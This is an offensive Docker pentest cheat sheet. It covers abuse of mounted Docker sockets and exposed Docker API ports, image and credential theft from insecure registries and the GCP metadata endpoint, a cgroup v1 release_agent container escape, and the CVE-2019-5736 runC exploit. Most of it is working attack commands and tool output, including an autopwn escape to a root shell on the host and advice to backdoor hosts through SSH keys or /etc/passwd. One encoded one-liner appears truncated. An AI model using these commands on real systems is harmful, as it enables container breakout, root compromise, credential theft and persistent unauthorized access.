# Docker Pentest

> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.

## Summary

- [Tools](#tools)
- [Mounted Docker Socket](#mounted-docker-socket)
- [Open Docker API Port](#open-docker-api-port)
- [Insecure Docker Registry](#insecure-docker-registry)
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
- [References](#references)

## Tools

* Dockscan : https://github.com/kost/dockscan
    ```powershell
    dockscan unix:///var/run/docker.sock
    dockscan -r html -o myreport -v tcp://example.com:5422
    ```

## Mounted Docker Socket

Prerequisite:
* Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`

Usually found in `/var/run/docker.sock`, for example for Portainer.

```powershell
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
```

Exploit using [brompwnie/ed](https://github.com/brompwnie/ed)

```powershell
root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true        
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn:  /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```


## Open Docker API Port

Prerequisite:
* Docker runned with `-H tcp://0.0.0.0:XXXX`

```powershell
$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open  docker  Docker 19.03.5
| docker-version:
|   Version: 19.03.5
|   MinAPIVersion: 1.12
```

Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.

```powershell
$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
or
$ docker -H  open.docker.socket:2375 ps
$ docker -H  open.docker.socket:2375 exec -it mysql /bin/bash
or 
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
```

From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.


## Insecure Docker Registry

Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.

```powershell
curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>

# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
```

Access a private registry and start a container with one of its image

```powershell
docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash
```

Access a private registry using OAuth Token from Google

```powershell
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token 
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
```

## Exploit privileged container abusing the Linux cgroup v1

Prerequisite (at least one): 
 * `--privileged`
 * `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.

```powershell
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo " " | base64 -d | bash -'
```

Exploit breakdown :

```powershell
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
 
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```

## Breaking out of Docker via runC

> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to.  - Vulnerability overview by the runC team

Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736

```powershell
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```

## References

- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
- [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md)
- [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/)